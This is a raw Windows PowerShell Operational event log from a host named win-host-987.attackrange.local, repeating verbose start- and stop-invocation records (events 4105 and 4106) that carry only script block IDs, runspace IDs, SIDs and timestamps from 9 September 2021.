ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043463
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043441
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043440
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043439
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043438
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043422
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043421
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043416
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043415
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043410
Keywords=None
